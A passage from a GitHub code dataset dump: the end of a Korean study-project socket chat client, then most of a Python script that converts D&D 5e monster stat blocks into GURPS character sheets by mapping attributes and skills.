담당\n while True:\n data = socket.recv(1024)\n if not data: continue\n print(data.decode('utf-8'))\n \n# 파이썬의 표준출력은 버퍼링이 됨 (출력내용이 버퍼에 계속 싸인다.)\nsys.stdout.flush() # buffer를 비우기\n\nname = input('채팅 아이디 입력:')\ncs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ncs.connect(('127.0.0.1', 5000))\ncs.send(name.encode('utf-8'))\n\nth = threading.Thread(target=handle,args=(cs, ))\nth.start()\n\nwhile True:\n msg = input() #채팅 메세지 입력\n sys.stdout.flush()\n if not msg: continue #msg가 없으면 넘김\n cs.send(msg.encode('utf-8')) #msg가 있으면 실행\n \ncs.close()","repo_name":"KHG0217/python_study","sub_path":"pypro1/pack3net/chat_client.py","file_name":"chat_client.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38621993877","text":"import json\nimport math\nimport uuid\nimport jsons\nimport re\n\n\n# region HELPER FUNCTIONS\ndef convert_modifier_to_points(modifier):\n \"\"\"\n Converts a skill modifier to character points\n \"\"\"\n if modifier <= 2:\n return modifier\n elif modifier <= 4:\n return 2 * modifier\n else:\n return 4 * (modifier - 3) + 8\n\n\ndef expected_value(dice_roll: str) -> float:\n \"\"\"\n Calculates the expected value of a dice roll of the form XdY or XdY + Z\n \"\"\"\n mod = 0\n if \"+\" in dice_roll:\n dice_roll, modifier = dice_roll.split(\" + \")\n mod = int(modifier)\n m, n = map(int, dice_roll.split(\"d\"))\n return (m * (n + 1)) / 2 + mod\n\n\ndef hit_mod_to_gurps(hit_mod: int) -> str:\n \"\"\"\n Converts a hit modifier to a GURPS hit modifier\n \"\"\"\n dc = 10\n if hit_mod <= 0:\n dc = 9\n elif hit_mod == 1:\n dc = 9\n elif hit_mod == 2:\n dc = 10\n elif hit_mod == 3:\n dc = 10\n elif hit_mod == 4:\n dc = 10\n elif hit_mod == 5:\n dc = 11\n elif hit_mod == 6:\n dc = 11\n elif hit_mod == 7:\n dc = 12\n elif hit_mod == 8:\n dc = 12\n elif hit_mod == 9:\n dc = 13\n elif hit_mod == 10:\n dc = 13\n elif hit_mod == 11:\n dc = 14\n elif hit_mod == 12:\n dc = 15\n elif hit_mod == 13:\n dc = 16\n elif hit_mod == 14:\n dc = 17\n elif hit_mod >= 15:\n dc = 18\n return \"DC \" + str(dc)\n\n\ndef damage_to_gurps(dmg: float) -> str:\n \"\"\"\n Converts an expected damage value (float) to the closest GURPS damage value (string dice roll)\n \"\"\"\n if dmg < 28.571:\n gurpsExpDmg = 0.55 * dmg\n else:\n gurpsExpDmg = 0.25 * dmg + 10\n\n # returns closest multiple of 3.5 + x to gurpsExpDmg\n x = round(gurpsExpDmg - round(gurpsExpDmg / 3.5) * 3.5)\n if x < 0:\n return str(round(gurpsExpDmg / 3.5)) + \"d - \" + str(abs(x))\n if x == 0:\n return str(round(gurpsExpDmg / 3.5)) + \"d\"\n else:\n return str(round(gurpsExpDmg / 3.5)) + \"d + \" + str(x)\n\n\ndef saving_throws_to_gurps(save_throw: int) -> int:\n \"\"\"\n Converts a D&D 5e saving throw to a GURPS saving throw\n \"\"\"\n dc = 0\n if save_throw <= 12:\n dc = 0\n elif save_throw <= 14:\n dc = 1\n elif save_throw <= 16:\n dc = 2\n elif save_throw <= 18:\n dc = 3\n elif save_throw <= 20:\n dc = 4\n elif save_throw > 20:\n dc = 5\n\n return dc\n\n\ndef convert_to_gurps(description: str) -> str:\n \"\"\"\n Converts a D&D 5e description to a GURPS description\n \"\"\"\n # Replace all instances of \" advantage\" or \"Advantage\" with \" +3\" or \"+3\"\n description = description.replace(\" advantage\", \" +3\")\n description = description.replace(\"Advantage\", \"+3\")\n\n # Replace all instances of \" disadvantage\" or \"Disadvantage\" with \" -3\" or \"-3\"\n description = description.replace(\" disadvantage\", \" -3\")\n description = description.replace(\"Disadvantage\", \"-3\")\n\n # Replace all instances of \"constitution saving trow\" (ignoring case) with \"HT roll\"\n description = description.replace(\"constitution saving throw\", \"HT roll\")\n description = description.replace(\"Constitution saving throw\", \"HT roll\")\n description = description.replace(\"Constitution Saving Throw\", \"HT roll\")\n\n # Replace all instances of \"strength saving trow\" (ignoring case) with \"ST roll\"\n description = description.replace(\"strength saving throw\", \"ST roll\")\n description = description.replace(\"Strength saving throw\", \"ST roll\")\n description = description.replace(\"Strength Saving Throw\", \"ST roll\")\n\n # Replace all instances of \"dexterity saving trow\" (ignoring case) with \"DX roll\"\n description = description.replace(\"dexterity saving throw\", \"DX roll\")\n description = description.replace(\"Dexterity saving throw\", \"DX roll\")\n description = description.replace(\"Dexterity Saving Throw\", \"DX roll\")\n\n # Replace all instances of \"wisdom saving trow\" (ignoring case) with \"Will roll\"\n description = description.replace(\"wisdom saving throw\", \"WL roll\")\n description = description.replace(\"Wisdom saving throw\", \"WL roll\")\n description = description.replace(\"Wisdom Saving Throw\", \"WL roll\")\n\n # Replace all instances of \"intelligence saving trow\" (ignoring case) with \"IQ roll\"\n description = description.replace(\"intelligence saving throw\", \"IQ roll\")\n description = description.replace(\"Intelligence saving throw\", \"IQ roll\")\n description = description.replace(\"Intelligence Saving Throw\", \"IQ roll\")\n\n # Replace all instances of \"charisma saving trow\" (ignoring case) with \"Will roll\"\n description = description.replace(\"charisma saving throw\", \"WL roll\")\n description = description.replace(\"Charisma saving throw\", \"WL roll\")\n description = description.replace(\"Charisma Saving Throw\", \"WL roll\")\n\n # Replace all instances of {@h} with \"\"\n description = description.replace(\"{@h}\", \"\")\n\n # Replace all instances of {@atk mw} with \"Melee Weapon Attack,\"\n description = description.replace(\"{@atk mw}\", \"Melee Weapon Attack,\")\n\n # Replace all instances of {@atk rw} with \"Ranged Weapon Attack,\"\n description = description.replace(\"{@atk rw}\", \"Ranged Weapon Attack,\")\n\n # Replace all instances of \"{@condition text}\" with text\n pattern = r\"\\{@condition (.+?)\\}\"\n description = re.sub(pattern, r\"\\1\", description)\n\n # Replace all instances of \"{@spell text}\" with text\n pattern = r\"\\{@spell (.+?)\\}\"\n description = re.sub(pattern, r\"\\1\", description)\n\n # Replace all instances of \"X ({@damage YdZ})\" or \"X ({@damage YdZ + W})\" with \"YdZ\" or \"YdZ + W\" where W, X, Y, Z are any integer\n pattern = r\"\\d+\\s\\({@damage (.+?)\\}\\)\"\n description = re.sub(\n pattern,\n lambda match: damage_to_gurps(expected_value(match.group(1))),\n description,\n )\n\n # Replace all \"{@hit X} with X\n pattern = r\"\\{@hit (.+?)\\}\"\n description = re.sub(\n pattern,\n lambda match: hit_mod_to_gurps(int(match.group(1))),\n description,\n )\n\n # Replace all \"{@dc X} ST roll\" where X is any integer and ST can be any string of length 2 with \"ST - X roll\"\n pattern = r\"\\{@dc (\\d+)\\} (\\w{2}) roll\"\n description = re.sub(\n pattern,\n lambda match: match.group(2)\n + \" - \"\n + str(saving_throws_to_gurps(int(match.group(1))))\n + \" roll\",\n description,\n )\n\n # pattern = r\"\\b(\\d+)[dD](\\d+)\\b\"\n # description = re.sub(\n # pattern,\n # lambda match: damage_to_gurps(expected_value(match.group())),\n # description,\n # )\n\n # # replace all instances of {@word text} with text\n # pattern = r\"\\{@\\w+\\s(.+?)\\}\"\n # description = re.sub(pattern, r\"\\1\", description)\n\n # # replace all instances of X (Yd + Z) with Yd + Z\n # pattern = r\"\\d+\\s\\((.+)\\)\"\n # description = re.sub(pattern, r\"\\1\", description)\n\n # Saving throw DC -> comparable GURPS DC\n\n return description\n\n\n# endregion\ndef run_convert(input_data, user_input: str):\n # region LOADING DATA\n\n # Load default file\n with open(\"default.json\", \"r\") as f:\n default_data = json.load(f)\n # endregion\n\n # PROCESSING DATA\n\n # Proficiency Bonus\n if \"cr\" in input_data:\n if type(input_data[\"cr\"]) == dict:\n profString = input_data[\"cr\"][\"cr\"]\n else:\n profString = input_data[\"cr\"]\n if profString == \"0\":\n profBonus = 2\n elif profString == \"1/8\":\n profBonus = 2\n elif profString == \"1/4\":\n profBonus = 2\n elif profString == \"1/2\":\n profBonus = 2\n else:\n profBonus = math.ceil(float(profString) / 4) + 1\n else:\n profBonus = 2\n\n # Update default data with name from input data\n creature_name = input_data[\"name\"]\n default_data[\"profile\"][\"name\"] = creature_name\n\n # Update default data with attributes from input data\n for attribute in default_data[\"attributes\"]:\n if attribute[\"attr_id\"] == \"st\":\n strAd = math.floor((input_data[\"str\"] - 10) / 2)\n attribute[\"adj\"] = strAd\n attribute[\"calc\"][\"points\"] = strAd * 10\n attribute[\"calc\"][\"value\"] = 10 + strAd\n\n if attribute[\"attr_id\"] == \"dx\":\n dexAd = math.floor((input_data[\"dex\"] - 10) / 2)\n attribute[\"adj\"] = dexAd\n attribute[\"calc\"][\"points\"] = dexAd * 20\n attribute[\"calc\"][\"value\"] = 10 + dexAd\n\n if attribute[\"attr_id\"] == \"iq\":\n iqAd = max(\n math.floor((input_data[\"int\"] - 10) / 2),\n math.floor((input_data[\"wis\"] - 10) / 2),\n )\n attribute[\"adj\"] = iqAd\n attribute[\"calc\"][\"points\"] = iqAd * 20\n attribute[\"calc\"][\"value\"] = 10 + iqAd\n\n if attribute[\"attr_id\"] == \"ht\":\n conAdd = math.floor((input_data[\"con\"] - 10) / 2)\n attribute[\"adj\"] = conAdd\n attribute[\"calc\"][\"points\"] = conAdd * 10\n attribute[\"calc\"][\"value\"] = 10 + conAdd\n if input_data[\"con\"] >= 14:\n # region High Pain Threshold Trait\n highPainThreshold = {\n \"id\": str(uuid.uuid4()), # Generate a new unique ID\n \"type\": \"trait\",\n \"name\": \"High Pain Threshold\",\n \"reference\": \"B59\",\n \"notes\": \"Never suffer shock penalties when injured\",\n \"tags\": [\"Advantage\", \"Physical\"],\n \"base_points\": 10,\n \"features\": [\n {\n \"type\": \"conditional_modifier\",\n \"situation\": \"on all HT rolls to avoid knockdown and stunning\",\n \"amount\": 3,\n },\n {\n \"type\": \"conditional_modifier\",\n \"situation\": \"to resist torture\",\n \"amount\": 3,\n },\n ],\n \"calc\": {\"points\": 10},\n }\n # endregion\n\n default_data[\"traits\"].append(highPainThreshold)\n\n # Give default persuasion and deception if charisma is high enough and no profieciency is given\n charAd = math.floor((input_data[\"cha\"] - 10) / 2)\n if charAd > 0:\n # If Pesuasion is not in the stat-block, Diplomacy is added\n if \"skill\" not in input_data or \"persuasion\" not in input_data[\"skill\"]:\n # region Diplomacy Skill\n diplomacySkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Diplomacy\",\n \"reference\": \"B187\",\n \"tags\": [\"Business\", \"Police\", \"Social\"],\n \"difficulty\": \"iq/h\",\n \"points\": convert_modifier_to_points(charAd),\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -6,\n \"level\": 9,\n \"adjusted_level\": 9,\n \"points\": -9,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -6},\n {\"type\": \"skill\", \"name\": \"Politics\", \"modifier\": -6},\n ],\n \"calc\": {\"level\": 13, \"rsl\": \"IQ-2\"},\n }\n # endregion\n default_data[\"skills\"].append(diplomacySkill)\n # If Deception is not in the statblock, fast-talk is added\n if \"skill\" not in input_data or \"deception\" not in input_data[\"skill\"]:\n # region Fast-Talk Skill\n fastTalkSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Fast-Talk\",\n \"reference\": \"B195\",\n \"tags\": [\"Criminal\", \"Social\", \"Spy\", \"Street\"],\n \"difficulty\": \"iq/a\",\n \"points\": convert_modifier_to_points(charAd),\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": -10,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Acting\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 15, \"rsl\": \"IQ+0\"},\n }\n # endregion\n default_data[\"skills\"].append(fastTalkSkill)\n\n # Give Size/Strength Bonus depending on character size\n if \"size\" in input_data:\n if input_data[\"size\"][0] == \"M\":\n default_data[\"profile\"][\"SM\"] = 0\n elif input_data[\"size\"][0] == \"S\":\n default_data[\"profile\"][\"SM\"] = -1\n elif input_data[\"size\"][0] == \"T\":\n default_data[\"profile\"][\"SM\"] = -4\n elif input_data[\"size\"][0] == \"L\":\n default_data[\"profile\"][\"SM\"] = 2\n default_data[\"attributes\"][0][\"adj\"] = (\n default_data[\"attributes\"][0][\"adj\"] + 1\n )\n default_data[\"attributes\"][14][\"adj\"] = (\n default_data[\"attributes\"][14][\"adj\"] + 10\n )\n elif input_data[\"size\"][0] == \"H\":\n default_data[\"profile\"][\"SM\"] = 3\n default_data[\"attributes\"][0][\"adj\"] = (\n default_data[\"attributes\"][0][\"adj\"] + 2\n )\n default_data[\"attributes\"][14][\"adj\"] = (\n default_data[\"attributes\"][14][\"adj\"] + 20\n )\n elif input_data[\"size\"][0] == \"G\":\n default_data[\"profile\"][\"SM\"] = 4\n default_data[\"attributes\"][0][\"adj\"] = (\n default_data[\"attributes\"][0][\"adj\"] + 3\n )\n default_data[\"attributes\"][14][\"adj\"] = (\n default_data[\"attributes\"][14][\"adj\"] + 30\n )\n # Give climbing and acrobatics if character has acrobatics\n if \"skill\" in input_data and \"acrobatics\" in input_data[\"skill\"]:\n acrobatics_modifier_string = input_data[\"skill\"][\"acrobatics\"]\n acrobatics_modifier = int(\n acrobatics_modifier_string.replace(\"+\", \"\")\n ) # Remove '+' sign\n points = convert_modifier_to_points(acrobatics_modifier - dexAd)\n\n # region Climbing Skill\n climbingSkill = {\n \"id\": str(uuid.uuid4()), # Generate a new unique ID\n \"type\": \"skill\",\n \"name\": \"Climbing\",\n \"reference\": \"B183\",\n \"tags\": [\"Athletic\", \"Criminal\", \"Exploration\", \"Outdoor\", \"Street\"],\n \"difficulty\": \"dx/a\",\n \"points\": points,\n \"encumbrance_penalty_multiplier\": 1,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 5,\n \"adjusted_level\": 5,\n \"points\": -5,\n },\n \"defaults\": [{\"type\": \"dx\", \"modifier\": -5}],\n \"calc\": {\"level\": 9, \"rsl\": \"DX-1\"},\n }\n # endregionß\n default_data[\"skills\"].append(climbingSkill)\n\n # region Acrobatics Skill\n acrobaticsSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Acrobatics\",\n \"reference\": \"B174,MA54\",\n \"tags\": [\"Athletic\"],\n \"difficulty\": \"dx/h\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -6,\n \"level\": 5,\n \"adjusted_level\": 5,\n \"points\": -5,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -6},\n {\"type\": \"skill\", \"name\": \"Aerobatics\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Aquabatics\", \"modifier\": -4},\n ],\n \"calc\": {\"level\": 9, \"rsl\": \"DX-2\"},\n }\n # endregion\n default_data[\"skills\"].append(acrobaticsSkill)\n\n # Give animal handling (general) and riding if character has Animal Handling. Give Veterinary if character has high Animal Handling\n if \"skill\" in input_data and \"animal handling\" in input_data[\"skill\"]:\n animalHandling_modifier_string = input_data[\"skill\"][\"animal handling\"]\n animalHandling_modifier = int(\n animalHandling_modifier_string.replace(\"+\", \"\")\n ) # Remove '+' sign\n points = convert_modifier_to_points(profBonus)\n\n # region Animal Handling Skill\n animalHandlingSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Animal Handling\",\n \"reference\": \"B175\",\n \"tags\": [\"Animal\"],\n \"specialization\": \"General\",\n \"difficulty\": \"iq/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": -10,\n },\n \"defaults\": [{\"type\": \"iq\", \"modifier\": -5}],\n \"calc\": {\"level\": 14, \"rsl\": \"IQ-1\"},\n }\n # endregion\n default_data[\"skills\"].append(animalHandlingSkill)\n\n # region Riding Skill\n ridingSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Riding\",\n \"reference\": \"B217\",\n \"tags\": [\"Animal\"],\n \"specialization\": \"General\",\n \"difficulty\": \"dx/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"skill\",\n \"name\": \"Animal Handling\",\n \"specialization\": \"General\",\n \"modifier\": -3,\n \"level\": 11,\n \"adjusted_level\": 11,\n \"points\": 2,\n },\n \"defaults\": [\n {\"type\": \"dx\", \"modifier\": -5},\n {\n \"type\": \"skill\",\n \"name\": \"Animal Handling\",\n \"specialization\": \"General\",\n \"modifier\": -3,\n },\n ],\n \"calc\": {\"level\": 11, \"rsl\": \"DX+0\"},\n }\n # endregion\n default_data[\"skills\"].append(ridingSkill)\n\n if animalHandling_modifier >= 6:\n # region Veterinary Skill\n veterinarySkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Veterinary\",\n \"reference\": \"B228\",\n \"tags\": [\"Animal\", \"Medical\"],\n \"tech_level\": \"4\",\n \"difficulty\": \"iq/h\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"skill\",\n \"name\": \"Animal Handling\",\n \"specialization\": \"General\",\n \"modifier\": -6,\n \"level\": 8,\n \"adjusted_level\": 8,\n \"points\": -8,\n },\n \"defaults\": [\n {\"type\": \"skill\", \"name\": \"Animal Handling\", \"modifier\": -6},\n {\"type\": \"skill\", \"name\": \"Physician\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Surgery\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 13, \"rsl\": \"IQ-2\"},\n }\n # endregion\n default_data[\"skills\"].append(veterinarySkill)\n\n # Give Thaumatology and Occultism if the character has Arcana\n if \"skill\" in input_data and \"arcana\" in input_data[\"skill\"]:\n points = convert_modifier_to_points(profBonus)\n\n # region Thaumatology Skill\n thaumatologySkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Thaumatology\",\n \"reference\": \"B225\",\n \"tags\": [\"Magical\", \"Occult\"],\n \"difficulty\": \"iq/vh\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -7,\n \"level\": 8,\n \"adjusted_level\": 8,\n \"points\": -8,\n },\n \"defaults\": [{\"type\": \"iq\", \"modifier\": -7}],\n \"calc\": {\"level\": 12, \"rsl\": \"IQ-3\"},\n }\n # endregion\n default_data[\"skills\"].append(thaumatologySkill)\n\n # region Occultism Skill\n occultismSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Occultism\",\n \"reference\": \"B212\",\n \"tags\": [\"Magical\", \"Occult\"],\n \"difficulty\": \"iq/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": -10,\n },\n \"defaults\": [{\"type\": \"iq\", \"modifier\": -5}],\n \"calc\": {\"level\": 14, \"rsl\": \"IQ-1\"},\n }\n # endregion\n default_data[\"skills\"].append(occultismSkill)\n\n # Give Climbing, Hiking, Brawling, and Running if the chracter has Athletics. Climbing is only added if the character doesn't have acrobatics\n if \"skill\" in input_data and \"athletics\" in input_data[\"skill\"]:\n athletics_modifier_string = input_data[\"skill\"][\"athletics\"]\n athletics_modifier = int(\n athletics_modifier_string.replace(\"+\", \"\")\n ) # Remove '+' sign\n points = convert_modifier_to_points(athletics_modifier - strAd)\n\n if \"acrobatics\" not in input_data[\"skill\"]:\n # region Climbing Skill\n climbingSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Climbing\",\n \"reference\": \"B175\",\n \"tags\": [\"Physical\"],\n \"difficulty\": \"dx/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"dx\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": -10,\n },\n \"defaults\": [{\"type\": \"dx\", \"modifier\": -5}],\n \"calc\": {\"level\": 14, \"rsl\": \"DX-1\"},\n }\n # endregion\n default_data[\"skills\"].append(climbingSkill)\n\n # region Hiking Skill\n hikingSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Hiking\",\n \"reference\": \"B200\",\n \"tags\": [\"Athletic\", \"Exploration\", \"Outdoor\"],\n \"difficulty\": \"ht/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"ht\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [{\"type\": \"ht\", \"modifier\": -5}],\n \"calc\": {\"level\": 10, \"rsl\": \"HT-1\"},\n }\n # endregion\n default_data[\"skills\"].append(hikingSkill)\n\n # region Brawling Skill\n brawlingSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Brawling\",\n \"reference\": \"B182,MA55\",\n \"tags\": [\"Combat\", \"Melee Combat\", \"Weapon\"],\n \"difficulty\": \"dx/e\",\n \"points\": points,\n \"features\": [\n {\n \"type\": \"weapon_bonus\",\n \"selection_type\": \"weapons_with_required_skill\",\n \"name\": {\"compare\": \"is\", \"qualifier\": \"Brawling\"},\n \"level\": {\"compare\": \"at_least\", \"qualifier\": 2},\n \"amount\": 1,\n \"per_level\": True,\n }\n ],\n \"calc\": {\"level\": 11, \"rsl\": \"DX+0\"},\n }\n # endregion\n default_data[\"skills\"].append(brawlingSkill)\n\n # region Running Skill\n runningSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Running\",\n \"reference\": \"B218\",\n \"tags\": [\"Athletic\"],\n \"difficulty\": \"ht/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"ht\",\n \"modifier\": -5,\n \"level\": 6,\n \"adjusted_level\": 6,\n \"points\": -6,\n },\n \"defaults\": [{\"type\": \"ht\", \"modifier\": -5}],\n \"calc\": {\"level\": 10, \"rsl\": \"HT-1\"},\n }\n # endregion\n default_data[\"skills\"].append(runningSkill)\n\n # Give Fast-Talk if the character has Deception\n if \"skill\" in input_data and \"deception\" in input_data[\"skill\"]:\n deception_modifier_string = input_data[\"skill\"][\"deception\"]\n deception_modifier = int(\n deception_modifier_string.replace(\"+\", \"\")\n ) # Remove '+' sign\n points = convert_modifier_to_points(deception_modifier - charAd)\n\n # region Fast-Talk Skill\n fastTalkSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Fast-Talk\",\n \"reference\": \"B195\",\n \"tags\": [\"Criminal\", \"Social\", \"Spy\", \"Street\"],\n \"difficulty\": \"iq/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": -10,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Acting\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 14, \"rsl\": \"IQ-1\"},\n }\n # endregion\n default_data[\"skills\"].append(fastTalkSkill)\n\n # Give History (General) if the character has History\n if \"skill\" in input_data and \"history\" in input_data[\"skill\"]:\n points = convert_modifier_to_points(profBonus)\n\n # region History (General) Skill\n historyGeneralSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"History\",\n \"reference\": \"B200\",\n \"tags\": [\"Humanities\", \"Social Sciences\"],\n \"specialization\": \"General\",\n \"difficulty\": \"iq/h\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -6,\n \"level\": 9,\n \"adjusted_level\": 9,\n \"points\": -9,\n },\n \"defaults\": [{\"type\": \"iq\", \"modifier\": -6}],\n \"calc\": {\"level\": 13, \"rsl\": \"IQ-2\"},\n }\n # endregion\n default_data[\"skills\"].append(historyGeneralSkill)\n\n # Give Detect Lie if the characters have Insight\n if \"skill\" in input_data and \"insight\" in input_data[\"skill\"]:\n points = convert_modifier_to_points(profBonus)\n\n # region Detect Lies Skill\n detectLieSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Detect Lies\",\n \"reference\": \"B187\",\n \"tags\": [\"Police\", \"Social\", \"Spy\"],\n \"difficulty\": \"per/h\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"per\",\n \"modifier\": -6,\n \"level\": 9,\n \"adjusted_level\": 9,\n \"points\": -9,\n },\n \"defaults\": [\n {\"type\": \"per\", \"modifier\": -6},\n {\"type\": \"skill\", \"name\": \"Body Language\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Psychology\", \"modifier\": -4},\n ],\n \"calc\": {\"level\": 13, \"rsl\": \"Per-2\"},\n }\n # endregion\n default_data[\"skills\"].append(detectLieSkill)\n\n # Give Intimidation if the character has Intimidation\n if \"skill\" in input_data and \"intimidation\" in input_data[\"skill\"]:\n intimidation_modifier_string = input_data[\"skill\"][\"intimidation\"]\n intimidation_modifier = int(\n intimidation_modifier_string.replace(\"+\", \"\")\n ) # Remove '+' sign\n points = convert_modifier_to_points(intimidation_modifier - charAd)\n\n # region Intimidation Skill\n intimidationSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Intimidation\",\n \"reference\": \"B202\",\n \"tags\": [\"Criminal\", \"Police\", \"Social\", \"Street\"],\n \"difficulty\": \"will/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"will\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": -10,\n },\n \"defaults\": [\n {\"type\": \"will\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Acting\", \"modifier\": -3},\n ],\n \"calc\": {\"level\": 14, \"rsl\": \"Will-1\"},\n }\n # endregion\n default_data[\"skills\"].append(intimidationSkill)\n\n # Give Scrouning and Search if the character has Investgation\n if \"skill\" in input_data and \"investigation\" in input_data[\"skill\"]:\n points = convert_modifier_to_points(profBonus)\n\n # region Scrounging Skill\n scroungingSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Scrounging\",\n \"reference\": \"B218\",\n \"tags\": [\"Criminal\", \"Street\"],\n \"difficulty\": \"per/e\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"per\",\n \"modifier\": -4,\n \"level\": 11,\n \"adjusted_level\": 11,\n \"points\": -11,\n },\n \"defaults\": [{\"type\": \"per\", \"modifier\": -4}],\n \"calc\": {\"level\": 15, \"rsl\": \"Per+0\"},\n }\n # endregion\n default_data[\"skills\"].append(scroungingSkill)\n\n # region Search Skill\n searchSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Search\",\n \"reference\": \"B219\",\n \"tags\": [\"Police\", \"Spy\"],\n \"difficulty\": \"per/a\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"per\",\n \"modifier\": -5,\n \"level\": 10,\n \"adjusted_level\": 10,\n \"points\": -10,\n },\n \"defaults\": [\n {\"type\": \"per\", \"modifier\": -5},\n {\"type\": \"skill\", \"name\": \"Criminology\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 14, \"rsl\": \"Per-1\"},\n }\n # endregion\n default_data[\"skills\"].append(searchSkill)\n\n # Give First-Aid, Diagnosis, Physician (if medium), and Surgery (if high) if the character has Medicine\n if \"skill\" in input_data and \"medicine\" in input_data[\"skill\"]:\n medicine_modifier_string = input_data[\"skill\"][\"medicine\"]\n medicine_modifier = int(\n medicine_modifier_string.replace(\"+\", \"\")\n ) # Remove '+' sign\n points = convert_modifier_to_points(profBonus)\n\n # region First-Aid Skill\n firstAidSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"First Aid\",\n \"reference\": \"B195\",\n \"tags\": [\"Everyman\", \"Medical\"],\n \"tech_level\": \"4\",\n \"difficulty\": \"iq/e\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"skill\",\n \"name\": \"Physician\",\n \"level\": 13,\n \"adjusted_level\": 13,\n \"points\": -13,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Esoteric Medicine\"},\n {\"type\": \"skill\", \"name\": \"Physician\"},\n {\"type\": \"skill\", \"name\": \"Veterinary\", \"modifier\": -4},\n ],\n \"calc\": {\"level\": 15, \"rsl\": \"IQ+0\"},\n }\n # endregion\n default_data[\"skills\"].append(firstAidSkill)\n\n # region Diagnosis Skill\n diagnosisSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n \"name\": \"Diagnosis\",\n \"reference\": \"B187\",\n \"tags\": [\"Medical\"],\n \"tech_level\": \"4\",\n \"difficulty\": \"iq/h\",\n \"points\": points,\n \"defaulted_from\": {\n \"type\": \"iq\",\n \"modifier\": -6,\n \"level\": 9,\n \"adjusted_level\": 9,\n \"points\": -9,\n },\n \"defaults\": [\n {\"type\": \"iq\", \"modifier\": -6},\n {\"type\": \"skill\", \"name\": \"First Aid\", \"modifier\": -8},\n {\"type\": \"skill\", \"name\": \"Physician\", \"modifier\": -4},\n {\"type\": \"skill\", \"name\": \"Veterinary\", \"modifier\": -5},\n ],\n \"calc\": {\"level\": 13, \"rsl\": \"IQ-2\"},\n }\n # endregion\n default_data[\"skills\"].append(diagnosisSkill)\n\n if medicine_modifier >= 3:\n # region Physician Skill\n physicianSkill = {\n \"id\": str(uuid.uuid4()),\n \"type\": \"skill\",\n 